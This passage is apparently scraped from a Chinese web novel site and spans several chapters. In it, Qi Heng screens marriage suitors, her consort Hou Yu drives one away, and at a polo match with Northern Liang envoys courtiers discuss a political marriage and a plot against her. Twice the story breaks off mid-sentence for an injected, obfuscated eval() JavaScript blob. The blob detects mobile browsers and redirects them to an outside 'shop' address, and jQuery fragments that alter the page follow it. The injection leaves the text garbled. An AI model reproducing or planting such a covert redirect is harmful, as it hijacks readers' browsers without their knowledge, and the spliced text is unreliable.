士兵刚回来,正是休息整顿,回家探亲的时候,短时间内也用不着太高强度的训练。两边都没有工作,她也就闲了下来,每日上个朝就能回家睡大觉。 也不知道艾憬带人追没追到赫连般若。戚姮继续打水漂,心里想着这些,估计是还没追上,也有可能传信还在路上。 这案件背后的信息,她已经摸清个七七八八了。 或许宁淮的那个秘密就是能解释这一切的关键。 戚姮向旁边随意一瞥,正好看到蹲在不远处拨弄河水的苏涧,她想了想这是谁,想起来后诧异了一瞬,抬脚向他那边去。 “苏大人在此地赏河呢?” 苏涧听见动静忙站了起来,看清是戚姮后怔愣片刻,随即拱手行了一礼:“世子。” 戚姮向他身后瞅了两眼,一个侍从都没跟着:“苏大人因何而来啊。” 苏涧说:“今日排到下官来领俸,拿到钱后就叫手下人先行离开了,一人闲逛至此,所以就……来了。” 戚姮嘟囔了一句“还要排队领钱”,她满打满算上任还没有一个月,根本没到可以发俸禄的日子,自然是不清楚流程的。 他顿了顿,试探着问:“世子又何故出现在这里?” “哦,我来找太府寺卿的,有点私事。”戚姮想也没想就说了,“现在忙完了。” 苏涧:“……” 说者无心听者有意,戚姮上哪猜到后煜能三两句套到内情还能三两句把情敌给挑衅了一遍。 她正思索着要不要请人吃顿饭好好聊聊,也省得再来家中麻烦一通了。 就听他道:“那……那在下就不多叨扰了,提前恭喜世子百年好合,到时候,我会去参加你们二人的婚宴。先……先告辞了。” 戚姮微张着嘴,眼睁睁看着苏涧叽里咕噜留下一堆话扬长而去,呆滞着没搞清楚什么情况。 “他啥意思。”戚姮原地转了一圈,“还没试试就直接拒绝了?” 她想明白后还觉得可惜,找人列了十来个候选名单,好不容易在背调后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531480|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑出了唯二洁身自好积极上进温和有礼还不在乎倒插门的。 原先传信过去说了可以见面看看,也是戚姮有八分满意的一个,谁知道还没开始就已经结束了。 她挠了挠脑袋,难道是被扣工资了心情不好。 戚姮一直到回府也还是觉得奇怪,连忙叫人出去买点冰酪回来降降火。 “世子,这是您要的璎珞,工匠已经制好了。” 张妈妈捧着木盒子进到屋内,放在戚姮眼前,伸手将其打开。 珍珠与金珠串成项链,大小各不相同,穿插着不同颜色的天蓝青绿翡翠珠,玉雕的粉玉兰玲珑剔透。配色清透淡雅,倒有几分春意盎然的感觉。 “诶,好看。” 戚姮扒着盒子端详了一阵,她只让人做一串,没下具体安排,没想到工匠的眼光这么好:“去库房拿一两银子赏给工匠。” “是。” 她从柜中取出了个小瓶子,璎珞挂坠刻意设置过可以打开的机关,戚姮将两粒散发着淡淡清香的药丸装了进去,凑近嗅闻一番,很是满意。 · 太府寺的公务一忙起来,亥时之前几乎都回不了家。 后煜回到碧水云庭的路上万籁俱寂,只有夏蝉时不时鸣叫几声。他推开房门,死气沉沉地向前迈步。 房中突有黑影闪动两下,后煜停住了步子,刚转过头,那影子就猛地扑了上来。 与幼时初入秦国公府时极为相似的一幕吓得他浑身紧绷,困顿霎时间烟消云散。下意识想要护住脑袋的手停在半空,他怔愣地看着眼前骤然出现的脸,俊美无暇。 这次覆上来的不是坚硬的木凳腿,而是一个带有温度的吻。 “……” 戚姮的手攀上了他的脖颈,逐渐收紧,箍地后煜无处可逃,只能顺着她的力道向后砸到门板,又差点被茶桌绊倒,最终才跌跌撞撞地倒在榻上。 “你好忙呀。”戚姮趴在他身上,埋在他的颈间亲了又亲,“我等到现在才把你等回来。” 后煜七上八下的手轻轻搭在了戚姮腰间,喘息着说:“我还以为……你不在乎我回不回来。” “我不仅在等你回来,我还给你准备了个好东西。”戚姮向下摸到了他的腰带,低头找着开关,“等会再拿给你。” 后煜握住了戚姮的手腕,呼吸越来越乱:“现在、现在就、” “不可以吗。”戚姮说,“要不是你那天出意外手受伤了,我早就同你圆房了,还至于等到今天。” “……” “你不会以为,进我家就是吃白饭来的吧。”戚姮扳住腰带卡扣,“咔哒”,应声而开:“听话。” 她动作很快,将后煜的衣裳一齐扒开,从锁骨到腰腹,大片的肌肤暴露在外,昏暗中依稀辨清他正咬着唇边,垂下的眼睑遮住大半期待。她一歪头,读出这小子是在演欲擒故纵。 戚姮抓住了他的右手,带着后煜的食指滑向背后,勾开了肚兜带子。 绸缎整个落在脸上,后煜眯起眼,仰头轻嗅沾带的淡柔体香。 被一刀截断的洞房花烛夜延后了五天才行上。他总是这样,面前有什么好东西,要以后才能拥有,等着等着,他也开始怀疑这到底属不属于自己。 如若命中注定该有,中间又为何那么多的坎坷。 他习惯了等待,长成了含蓄,立在角落,幻想中有人会为他驻足。偏偏事与愿违,这个世界不会给孤僻的人太多机会,却也是环境铸就了他如今这般孤僻。 他逼自己跳出死循环遇上的第一个人,就是戚姮。开头并不美好,几度想要掉头就跑,命运就是如此奇妙,再次强调了一遍该是你的还是你。匕首扎进掌心那刻,他都以为要殒命当场了,来救他的人还是戚姮。 后煜那时候就想,可能自己这辈子活着的意义就是与她见上一面,再匆匆离开。 不然一个谁都能踹一脚的流浪狗凭什么能侥幸活到这个年岁。 但戚姮就是有办法再把他给留下来,再造第二条命。 32. 翻身上位【十二】 戚姮掐着点撑在床边,眼见后煜果真如预料般睁开眼,反手将准备好的木盒呈在他眼前,笑盈盈道:“醒了?” 刚睡醒脑子还很混沌,后煜看着眼前的物件,慢慢坐了起来。意识回笼,目光在戚姮和木盒中的璎珞来回游移,不确定道:“这个是……?” “给你的。”戚姮拉着他起床,“昨晚上我说过给你准备了礼物,快起来戴上我看看。” 后煜自从进了侯府三天两头就能在柜中发现新的衣裳饰品,他找人问,都说是戚姮安排的。 底下人说她没什么别的爱好,就爱美。侯府扩容的布局是她看过许多图纸后才定下的,府中女使的衣裳首饰都要专门找裁缝设计。连带着厨房碗碟,庭院花木,假山假水,颜色搭配,所有东西必须让她看顺眼了才能往家里安排。 后煜原先的东西太素了,戚姮越看越难受,全都让人洗干净送城外缺衣少食的地方应急去了。那就得买新的还给他,她带着呼延绰在外头逛街顺手挑几个,久而久之,越堆越多。 只有这个璎珞是专门请了技艺精湛的能工巧匠,她来提供原料打造的,宝珠翡翠金丝银线都比在店中买更上乘些。 “好看好看。”戚姮转着圈将后煜打量了一番,很是满意,“戴着吧,就是给你准备的。” 后煜摩挲着雕刻成花的玉石,扬起个笑:“谢谢。” 戚姮点了点自己的侧脸,后煜立马垂首亲了一口。 戚姮拉着他向外走:“我都下朝回来了你还睡着,原先你身边也没有人侍候,你上朝真没迟到过吗?” “我之前……晚上睡不好,隔半个时辰就醒一次,等差不多了就可以起床了。” “噢。”戚姮恍然大悟,“走走走,吃饭去。” 太阳晒在身上暖意融融,莫名染的心情也好,后煜问:“今天吃什么?” “好像是馄饨和蟹黄小包子。” · 打睡醒开始,后煜一整天的好心情,连算账都格外有劲儿多了,自己待在值房哼着歌一气呵成提前完成了今日的工作量。 原先到点下班回家一般没什么好事,他都会把账目反复核算好几遍,又提前规划好明天的任务才会回家,现在不需要了。后煜整理着几件原材料,准备带回家拟案。 小黄碰见他还很是稀奇:“府卿今天这么早就回去啊?” 后煜抬头瞧了眼天,也就刚刚要接近申时的感觉:“嗯。也快到点了。” 后煜走到家门口,歪头瞧着停在府前的马车,好奇地问了一句门口守卫,他说这是左府的车。 “……” 左钧,金紫光禄大夫家的四公子,戚姮要相看的第二个目标。 后煜的脸瞬间拉了下去,都懒得回忆左家是怎样一个顶级勋贵了。 反正贵不可言。 戚姮挑中的两位,家里都是些曾经风光,现如今没有实权,但极受尊重的元老级别文臣世家。让皇帝放心,在这个文高武低的时代也能抬高侯府地位,当真是用心良苦了。 “还说什么讨厌文官……都是骗我的……”后煜低着头艰难地向碧水云庭挪动,脚下气愤地踢着地,嘟嘟囔囔,怨气极大,“姓左的脾气差的很,有什么好的。” 其实按照戚姮挑人的标准,后煜大差不差也是符合的。 言官出身,家中清流,洁身自好,且已经在朝中取得了不小的成绩。他能在十九岁就升至如今的职位,实属罕见,在本朝也算第二人了。第一便是戚姮,比他还小,空降宰执级高位。 要不是众所周知的地位尴尬,是能被抢着说亲的潜力股。 就是他的脾气有点大,不是天然的温良之人,不符合戚姮的取向,却也能装一装,没太大差别。 但不知道为什么,戚姮看了远在天边的一圈,居然半点没有要把目光放在眼前的意思。 后煜把带回来的东西往桌上一拍,冷着脸埋头进被子里,拿枕头捂在上面,闷了一刻钟后越想越气。起身翻出自己刺绣的那一套东西,对着布包想象成左钧扎了数十次过后才扔掉。 昨天好不容易赶走了一个,今天又来一个,要是没有提前回家,估计连他们什么时候真定亲了都不知道。 后煜在柜中挑选着最心仪的那套衣裳,对着镜子整理着仪容,头发都要散下来重束。涂涂抹抹,挂上了那对极其夸张但显眼的银色耳饰,银环叮当,流苏一直坠到胸前。 刚扎了一个来月的耳洞戴这个实在太重,疼得他捏住两个耳垂缓了半天,才向外而去。 后煜溜到后厨,负手跟正在制茶的侍女搭话:“这是要送去茶轩的吗?” 那侍女抬头瞧了一眼,虽不知所云也还是老实回答:“是。世子刚刚吩咐下来的。” 后煜等着她捣鼓完,要端过去之前抬手拦住,抢过来了茶托,道:“我去吧,正好我也有些话想和她说。” “诶?这不合适吧。” “无碍,无碍。”后煜抢到手,转身就跑。 于是戚姮眼睁睁看着叫人上茶,上来的是个鬼头鬼脑的后煜。 “…………” 戚姮不是傻子,看见他的那一刻就猜明白了他的目的。正在说话的唇戛然而止,保持着原本的姿势没动,掀起眼皮,盯着后煜来到了面前。 左钧目前还在备考的年纪,预备着下次才要参加科举,没入官场。后煜倒是见过他几次,只记得是个废话一堆没经历过多少苦难过于理想和幼稚的愣头青。第一次见面,就看着他伸手指着别的官员直言不讳,挑人家“过于苛刻”的毛病。也不怕得罪人。 早就被后煜划去了“傻子”那一类。 直来直去的性格刺激他一下等会就要闹了,只要在戚姮面前耍脾气,肯定会被直接刷了…… 左钧看清来人,面上满是意外,惊诧不已地脱口而出:“解六公子?你怎么在这?” “我……”后煜瞄向戚姮,她正面无表情地等着后煜吭出个所以然来。 后煜闯进来就为了搏一把,也顾不上别的了,直接就说:“这里是我家,我当然会在这。” 左钧更是个直脑子:“这不是侯府吗?国公府在隔壁啊,怎么会是你家?你……” 他正纳闷着,突然一下脑袋就灵光了,面向戚姮,万分不可思议:“他,他是你的……?” 后煜随之也看着戚姮。被两道视线堵住的她深吸一口气,捏了捏拳,目光从后煜脸上移到左钧那,破罐子破摔地坦白道:“通俗来讲,这是我的……侧室。先前忘说了,现在你能接受的话我们还可以继续聊下去。” 左钧下巴都快掉地上了,他语无伦次了半天,后煜就睁着眼在一边装无辜,见他猛地一拍桌子站起来,叫道:“不行。我是秦国公府的学生,解公子做……做那个我做正室的事情,怎么可以?” 戚姮:“……” 还是个注重师生之道的老实人。 左钧恍惚地:“这是假的吧?解公子怎么会……” “是真的。”后煜压了压想要翘起的嘴角,正色道,“我不会离开侯府,左公子请自便。” “哎呀……”左钧捂着脑袋,“乱套了。” “既然如此,恕我不能接受……这样我还怎么面对国公爷?” 左钧连礼仪都忘了,站起身就晃悠着向外离开,喃喃着“这是什么情况”就消失了。 后煜冲着他的背影扬了扬唇,眸底尽是不屑之色。 “你很得意吗?” 他的表情僵在了脸上,慢慢转过脑袋,戚姮坐在原地,眉宇间隐隐透出几分戾 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后煜抬手抹掉泪珠,越说越委屈,哭腔浓浓:“但我是真的只有你了……没有人把我当成第一位,所有人都恨不得我去死,我就是太害怕连你也不要我了……” “我亲眼见过不被在意的小妾被正房折磨死。他们都比我好,我……我抢不过。我不知道你以后不喜欢我了怎么办……?” “对不起。我不是想要阻止你的意思……对不起……我只是不想回去过那种生不如死的日子了,我也不想这个样子。” 后煜膝行至戚姮跟前,小心翼翼地伸手,眼见戚姮没有躲避的意思才抱住了她的腰,埋头进她的怀里泣不成声:“求你不要不喜欢我,我不是故意的……” 戚姮揉了揉脑袋,脑子里能意识到后煜多半是演的,本来也是很想揍他一顿,赶回他自己院子去反省几天。 结果手在半空停住,许久也没落下。 从前她看过一本书,就有说过,如若一个人在稚子时期受过极大摧残,那么以后他所做的任何事都或多或少受到幼时的影响,趋利避害。 一个外室生的私生子,在兄长的欺压与父亲忽视中长大,自然而然会对“正室”产生敌意。认为目光只能专注在一人身上,别人进门就轮不到他了,从而恐惧。他会做的就是想尽办法赶所有人出去,当下辩言也并非虚假。 “行了。”戚姮平复了下心情,“我又不干什么。” 她伸手抚在后煜的后脑,又卷又软的墨发手感很好,戚姮什么气也都消了,心平气和道:“倘若我要他不要你,早就把你扔出去了。这不是正在找能接受你的人吗。别害怕。” “……真的吗?” “嗯。”戚姮说,“不成就不成吧,现在不成以后坦白也够呛答应,省得白浪费我时间。” 后煜直起腰,贴着戚姮的胸口仰起脸来,泪水沾湿了睫毛打成绺,眼眶通红,湿漉漉的眼珠直勾勾地望过来,逐渐转为笑意。 “那,你还要继续找吗?” 戚姮叹了口气:“以后再说吧,目前看来是没什么可能。” “君子有容,连这点气量都没有还成什么婚。”后煜抱着她不放,“如果是我,我就不会管这些。” “……”戚姮也懒得拆穿,抬手给他抹着泪痕,拇指刮擦过眼角,抚上了那两颗痣。 她又拨了两下后煜的耳饰,还能闻到淡淡的香脂味。 见了苏涧见了左钧,也还见了不少人,忽然发现都没这小子的脸看着有感觉。 指尖被后煜咬住,温润的舌一扫而过,戚姮垂首凑近,吻上他的唇,耳鬓厮磨间,她轻声道:“下次再敢这么自作主张,我弄死你。” 33. 水落石出【一】 北凉派来的使者在京中待了多日,因着态度诚恳,极具诚意地带来了大量金银财宝,战马与重甲,自然被汴京的人礼数周全地款待了一番。 正值天气回暖,草长莺飞之际,赵繁英大手一挥,围起京郊草场就办起了马球赛。 “我听说,你去国公府闹了一通。” 等着后煜落座,夏怀微换了个坐姿,脑袋一歪,过去问:“还是戚姮带你去的。” 后煜脸不红心不跳:“有问题吗?” 后煜从前不爱来这种场合,没几个认识的人就算了,还穿不了统一的公服。衣柜里压着那几套棉布麻衣还没有宫女太监穿得好,来了也是徒增笑话。 今时不同往日,后煜一听戚姮必须到场,闹着也跟着要来。 夏怀微笑容不变:“怎么她刚从牢里出来,第一件事就是陪你去国公府……你还当真入了她的眼了。” 后煜支着脑袋,面色略有些古怪:“我能入她的眼,不是你们一早就算好的吗?” 夏怀微道:“算归算,真发展成这样还是挺意外的。” “反正不可能看上你,你意外作甚。” 后煜哼笑:“去后头看着就行了,少说这么多废话。” “……”夏怀微皱了皱眉,“你怎么突然语气这么冲。” 要不是座位被安排到了这里,后煜连冲的机会也不给他:“我一直都是这个性格。” 他张了张嘴,反驳不出来。可思忖过后,还是感觉后煜突然一下子变硬气了。 先前虽然脾气冲,却不可能是这样。 夏怀微顺着后煜面朝的方向望过四周,突然在他的视线范围中捕捉到了个刚从营帐出来的红色身影,斜眼到旁边,后煜还真是一直在看着她发呆。 他上去就踢了一脚,踢的后煜不耐烦地转过头:“你干吗?” “这话该我问你吧。”夏怀微审视道,“你看戚姮干什么?别不是真的爱上她了。” 后煜:“当我是犯人吗?看看都不行?在你们手底下做个事怎么这么麻烦,再问这么多我不干了!我现在就去把所有事跟戚姮坦白,看她知道真相能放过谁。” 夏怀微:“……” “跟戚姮待久了你连她那暴脾气都学会了。” “她暴脾气又没骂你,但你要是再这么啰嗦,我觉得也快了。” 夏怀微说一句就被呲一句,到最后都不想说话了,坐在座位低头吃葡萄。 反正后煜在整个事件谋划中扮演了个极其重要,又会在败露后最先被记恨的角色,夏怀微压根不信他会蠢到自寻死路,真跑去跟戚姮通风报信。 戚姮拍着袖子来到席面前,将要跪坐之时被赵繁英身边的内侍喊走,眼见皇帝旁边又开了一席,她也是毫不客气地坐了下去。 “新来的荔枝。”赵繁英将自己桌上的瓷盘端了过去,“马上要过季了,应该是最后几批。” 戚姮点着头把盘子揽到面前,瞟了几眼对面坐着的几个使臣,反手捂上嘴,小声问他:“北凉派人到底来干吗的。” “谈和。”赵繁英说,“与当年波斯走的流程别无二致。” “没看出什么诚意啊……只送了点东西,没有列条件?”戚姮细数,“比如朝贡,条约,保证多少年不起兵。这些都没有?” “都还没谈。”赵繁英摇头,“北凉人进京以后什么都不干,就爱逛街,大半夜还要跑出去吃宵夜。我派去看守的禁军更像个引路的,带着他们把整座城逛完一遍了。” “我能说什么?这么好的文化交流机会总不可能拦着,就一直拖着没聊正事。” “……”戚姮感到非常匪夷所思,“草原人都喜欢逛街?” 呼延绰也是三天两头就要出门瞎转。 赵繁英耸肩:“谁知道呢。宫中正在布宴,打完马球顺道把他们都卷回去,赶紧都解决了。” 戚姮端起酒杯浅啄两口:“夜长梦多,我总觉得北凉人没憋好屁。” 赵繁英垂眼捏了捏酒杯:“别的还好说。我就在担心,他们万一是在探查宫里的底细,想要个真公主去和亲。” “?”戚姮蹙了蹙眉,“哪有战败国不送人,反要人回去的。” 赵繁英叹气:“战败国之间也还是有些不同的。当年波斯被彻底打残了国力,臣服后才成了附属国,所以是他们送人过来。” “但北凉并非弱国,这次丢了两地,不代表就会因此一蹶不振,休顿几年几个月还能再领兵打回来。加之,百姓经不起战乱消耗。当官的嘴上不说,心里都觉得北凉实力更强,并不想真的开战。” “如果牺牲一个公主就能换来北凉皈依中原,百年不战,你猜风向会变成什么样?” 他顿了顿,补充道:“而且,北凉确实带了一个公主过来,说不好会不会一换一。” 戚姮表情凝重地听完因果,忍不住道:“宫中就赵文则一个公主,宗室又都死完了……” “是啊,想探查的话那太好查了。”赵繁英悄声道,“所以我压根没让赵元过来,就算真闹成那样,随便找个人顶替就是了。” “这没有回旋的余地吗?”戚姮有点烦躁,“打赢了要和亲打输了要和亲,早知道这样我还打什么,直接投降不是更方便!” “朝臣好镇压,我不是一次不给他们面子。有你坐镇,北凉短时间内也不敢出兵。关键在赵元。” 赵繁英说:“依赵元的性子,如果知道和亲就能换太平,她肯定会去的。” 戚姮欲言又止,完全无法反驳:“你把她锁宫里。” “故技重施对她没有用。”赵繁英捏了捏眉心,“她已经两年没与我说过话了,只让内侍代传。有时我连她的行踪都探不到。” 戚姮默了下去。 赵繁英脸色艰难地继续说:“再加上,有永懿公主的例子,她要是铁了心想跑,我也拦不住。” “先……先不想这些了。”戚姮将清酒一饮而尽,“谁知道北凉打的什么主意,万一没这么糟糕呢?再看吧。” 夏怀微看着戚姮大摇大摆去陪驾,跟皇帝聊的热火朝天,完全看不出君臣之别的样子就心生莫名地好奇。 他故意压低了声音,借着茶杯掩饰道:“我有时候真搞不明白,历任皇帝对侯府只有忌惮,十几年前差点就抄家了。怎么轮到这几个姓赵的,没一个想杀她。” “信王没想过,姑且还能说是等着戚姮入东宫,没什么威胁。朝天仪没想过也正常,她毕竟只是个公主,不在乎这些。” “为什么连官家也没想过?”夏怀微实在不解,“戚姮这般做派的人,如果是我,多留一天我都睡不安稳一天。” 后煜闻言,罕见没有呛他。 说不好奇是假的,在牢里说了一句赵繁英的坏话硬生生扛了戚姮一拳,这种关系哪能用君臣形容。 可进侯府这么些日子,也什么都没搞清楚。 他歪头问:“你不是说必须杀了戚姮吗。” 夏怀微默了默:“没人同意,我一个人怎么杀。” 后煜嗤了一声,完全在意料之中:“官家年岁小着呢,正值壮年,无病无灾。只要他还活着,只要他不像熹宗皇帝那样把侯府逼上死路,这皇位坐的比谁都安稳。他才是最不会杀戚姮的人。” “北凉大患未除,你想先除将军?”后煜很莫名其妙:“我没见过你这种人。” 夏怀微的眼睛钉在高位就没下来过,缓缓摇了摇头:“戚姮出现的最大问题,是在于开了本朝先河。她让武皇过后逐渐消停的所有人人又躁动了起来,生不出儿子的朝臣多了,原先只想着老实找个赘婿,现在就想着怎么跟戚姮一样送女儿入朝。” “没有先例还好,一旦有了,就都觉得自己也能行,想去够。早晚出事。” “太平安乐和韦后的例子也没过去多少年。官家能不知道这些吗?他没有治戚姮的意思,就是助长这种风气盛行。照这样下去,赵初但凡被弄死了,他真敢册立赵元。” 夏怀微道:“如今赵元还没有这般想过,要是哪天抽风,反应过来了,想跟赵献之抢皇位。手足相残,你说我该帮哪边?” “显而易见啊。” 后煜想到这个问题后,没他那么纠结,直接道:“赵初是你半个小舅子,赵元才是你快攀上的金枝,明显是她当了皇帝对你受益更大。” 夏怀微卡壳:“……我……” “赵元会杀你吗?肯定比赵初当皇帝的概率低。她生的孩子总会有一个喊你爹吧,你是不是就有概率成为下一个皇帝的父亲。” “……”夏怀微还想抢救一下,“我都跟赵初认识十来年了。” “那能怎样,到底谁会跟你过一辈子?你真指望兄弟啊,兄弟要是可靠就不会出现开国皇帝杀功臣的事迹了。” 后煜跟看笑话似的看着还在纠结的夏怀微:“不过,我终于知道赵文则为什么迟迟没想过跟你成婚了,就你这样……完全一个白眼狼。” 夏怀微:“……” “今日的彩头都很寻常啊。” 戚姮垂首剥着荔枝,一大上午快过去了,场上依旧平淡无奇,随口道:“没什么想赢的欲望。” “有好东西。”赵繁英就知她会这么说,“恐怕你等会见了都不敢要。” 戚姮侧目:“就没有我不敢要的东西。” “你真要?”赵繁英承认的也快,“就是给你准备的,别人带回家连养的地都没有。你既有这心,我也就拿出来了。” “?”戚姮闻言陷入疑惑:“养?” 活物? “有什么好东西父亲不想着我,转头先给阿姮留着了?” 赵元的声音阴恻恻地响起,她行至两人身后,一手拍一个:“爹你偏心。” “……” 赵繁英大惊,猛地转头看向她,下意识否认:“哪有……的事。” “那为什么都不肯喊我过来?”赵元扯着个笑,“还好我跑得快,要不然都不知道这还有乐子能玩。” 赵繁英被质问的莫名有些心虚,嘱咐了不许跟她透露任何消息,还派人看着,结果还是被她察觉,偷溜了出来。 搞得他跟笑话似的。 “这东西皇宫无处可养,不如你要些别的……” 赵元绕到空席位坐下,颇有要撒泼的意味,穷追不舍道:“有什么东西是偌大的皇宫还容不下的?” “……”赵繁英汗颜。 “她想要给她就是了。”戚姮无所谓地,“大不了我再要些别的东西。” 赵繁英:“不是不给,是……” “既是定来作彩头的,哪能三言两语轻易更改,为我破例。”赵元盯着戚姮,语气决绝,“自然是要公平竞争。” 赵繁英:“皇宫真的养不……” “那就打呗。”戚姮把吐的荔枝核往桌上一扔,“见你想要我才让给你,真要我下场谁还拿得到手?好心还好心错了。” 赵元:“让我胜之不武,你是好心还是故意?” 戚姮指着自己,有冤没处申:“行行行我不说话了。” 赵繁英:“……” “吵什么吵。”赵繁英赶紧安排人把今日压轴的彩头抬上来,才对她们二人道,“就一个彩头,至于跟要吃人似的吗。” 主持场子的内侍一敲铜锣,两个宫人放下用红绸盖着的方形物体与高处,好让下头的人都能看个明白。 “本次彩头,灰狼幼崽一只!” 红绸一掀,不大的四方笼子锁着一只还没个狗大的狼崽子,老老实实趴在里面不动。 “你自己看皇宫怎么养?”赵繁英还有些委屈,“让谁赢了去我都不敢真的给,也就姮儿我还放心些。” 赵元:“……” 戚姮:“……” 人群惹起骚动,哗然一片。 在汴京里不能说见不到狼,也能说是罕见。这玩意比狗野,有血性,但又能驯化,有的是人爱养。但也大都锁上铁链关在笼里,极少有人敢当众放出来,恐再伤了人。 拿来当彩头,果然引得众人纷纷起身打量,更有些已经跨出了原本的位置预备上场一争。 对面的使君看见狼崽子眼睛一亮,举起酒杯一饮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531482|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而尽,起身,用蹩脚的官话爽朗道:“草原勇士,成人的第一战便是猎狼,活剥狼皮以示威武!这狼崽子我也想要,若我赢了,陛下肯割爱吧?!” 赵繁英心里嘟囔半天“这是养的不是杀的”,面上还要回他:“……自然。” 转头就对戚姮说:“不要闹了你们两个,这是我捡来好不容易救活的崽子,快给你舅舅我抢回来。” “……”戚姮有点无语,“那你刚刚直接给我不就好了。” 赵繁英:“抢回来抢回来。” 她问赵元:“你还要吗?” 赵元正了正衣冠:“要。” 夏怀微突然笑了声:“你不觉得这样看,戚姮长得很像官家吗。” “……”后煜转过头,眯眼细看之后,蹙起了眉心。 赵繁英生得年轻,看着不像三十多岁的年纪,戚姮十六岁,又颇有二十出头的感觉。 两个人凑在一块讲话,五官几乎一个模子刻出来的凌厉,下压的眉瘦削的脸,连不说话时无意识展现的不耐烦都如出一辙。 那股道不明的感觉极难让人忽略。 夏怀微琢磨:“还像赵文则。” 后煜却不以为意:“永懿公主的直系血脉,跟官家是表亲,长得不像才不对劲。” 夏怀微问:“你看我和表兄长得像吗,我跟官家关系还更近一层。” 后煜:“……” 夏怀微猜测着:“是吧。有没有可能……戚姮是官家的女儿?” “不可能。”后煜想都没想直接否认,“定远侯又不是傻子,给皇帝养女儿自己绝后?更何况她娘是波斯的公主,嫁侯府去了,官家从没……” 他想说官家从没接触过波斯人。 脑中先想起的是赵繁英的来历:赵璟,熹宗皇帝第四子,先侯于三城之战兵败后送去波斯的质子,二十二岁才跟着戚砚回到汴京。 “赵元赵初就是在波斯生的,除去贤妃如今正在怀的这一胎,先前的二子一女全都早夭。” 夏怀微越想越觉得不对劲:“戚姮也是戚砚从外头带回来的,自那以后也没生出来个一儿半女。” “而且戚姮和赵元长得最像,连体型都没差多少,有时候我都分不清。” 后煜没忍住:“你瞎啊?” “不是吗?”夏怀微反问,“我第一次见她,真以为是赵文则来了。” “那你的猜想也不成立。几个男人,尤其是定远侯这种人,会容忍自己的爵位家当都传给……皇帝的孩子?” 说的也并无道理。 夏怀微若有所思。 “我跟你说,她俩还真有可能是亲姐妹,不过是别的地方。” 后煜搭上夏怀微的肩:“你给赵文则当了这多年情人,她半分招你为婿的意思都没有,你还得继续当老光棍。戚姮也是啊,也没看上你。” “……” 夏怀微:“你再嘚瑟。今日我的老路就是你来日的新路。” “我跟你可不一样,你猜我这几日做甚呢?我什么都有了。”后煜无害地笑,“戚姮为了我连婚都不结了,谁要跟你走一条路。” 他把自己的项链在夏怀微面前炫耀一番:“你自己当老光棍去吧。” “…………” 夏怀微面无表情地,算是知道后煜怎的突然就硬气起来了。 这人得了点势顺杆就能爬,不考虑后果,也不维持体面,要么别惹他,要么就祈祷他一辈子被压着翻不了身。 遥想当初夏怀微刚在官场上站稳脚跟,看中他敛不住的能力,初见锋芒便将后煜挖了出来欲想稍加培养。哪知他意识到自己是被大人物捞了之后,转头就拿着铁锹找上邻舍,在月黑风高的深夜几铁锹全给拍死了。 蓄意谋杀,灭门惨案,后煜当时已经被划了立场,公开表示属于哪个队伍。这么大的事若不平,夏怀微就只等着被政敌找到把柄罢。 夏怀微好不容易摆平,自知控不住他,转头引荐给了赵初。人才谁都欣赏,赵初跟他相处了几个月,最后悔的就是说了那句“今后你只要不是谋反,我就会想办法保你”。 后煜跑去勒死了原太府卿,朝廷从四品官员。 他为这次谋杀还提前做了假帐,伪装成李拭镜畏罪上吊自缢的假象,涉及到朝臣命案,监察力度可想而知。差一点就被查出真相来了,还是赵初动用皇权毁了几个证据才给盖过去。 夏怀微和赵初两个人心力交瘁,从没见过这么刚的人。 收了他是个隐雷,不收又怕他记恨。让别人利用后煜是真敢回来杀人,想除掉还要顾忌一下解修竹,秦国公只是不管他的日常起居,又不是不管生死大事。 可以不用,但不能没有。 于是赵初和夏怀微默契地也不多管了,后煜始终差着一股劲,没乘到杀了解烺还能全身而退的风。 戚姮回京后才让夏怀微想起他来,够狠,也够惨。 在城中稍微一打听就知道戚姮的所作所为,她这种人,在自己家后院设暗门,允许府中下人家中亲人生病了,直接进府医治。时不时从周边抬进来带来病重又没钱治的穷苦人,为其免费诊治。就连府里淘汰的东西都要让人当掉捐去赈灾。 只要能帮一把的就不会袖手旁观,能用钱解决的就都不是事。朝廷要用人了,立马提剑拿刀跑去戍边关,还真把隐患给解决了。换来自己惹了一身骚。 概括起来就是同情心泛滥。 只能靠卖惨才能激起她的恻隐之心,否则谁也不可能瞒着她把人安插进去,怎么看后煜都是个绝佳人选,故而推了他出来,硬着头皮先探个虚实。 哪知他还真有两下子,在侯府如鱼得水,现下又借到势了,从头到脚改头换面,可不就是要嚣张几天。 夏怀微眯了眯眼,问:“你到底是什么打算?” “你管我什么打算。” 夏怀微垂首,当真思考起来了:“你是想让戚姮将来产子时难产?这确实是唯一能杀了她不被任何人察觉的方法了。所谓近水楼台……” 后煜满面震撼,一脚过去:“滚。” 34. 水落石出【二】 比赛向来都是双人制,戚姮下了场,抬手挡着刺眼烈阳,扭头在场上环顾一圈:一个都不熟,这该叫谁来? 戚姮瞧着瞧着,突然把视线落在了戚砚脸上,遥遥相望,他看懂戚姮的意思了,直摆手拒绝。 “……”真不靠谱。 宫人牵来的高头大马毛色光亮,通体金黄,肌肉健硕漂亮。戚姮伸手拍了拍它的头,没看上那狼崽子,看上这马了。 想要幼狼的不少,见草原人这些从小玩马的上场,自知打不过有人又坐了回去。数着人头,那也还剩不少。 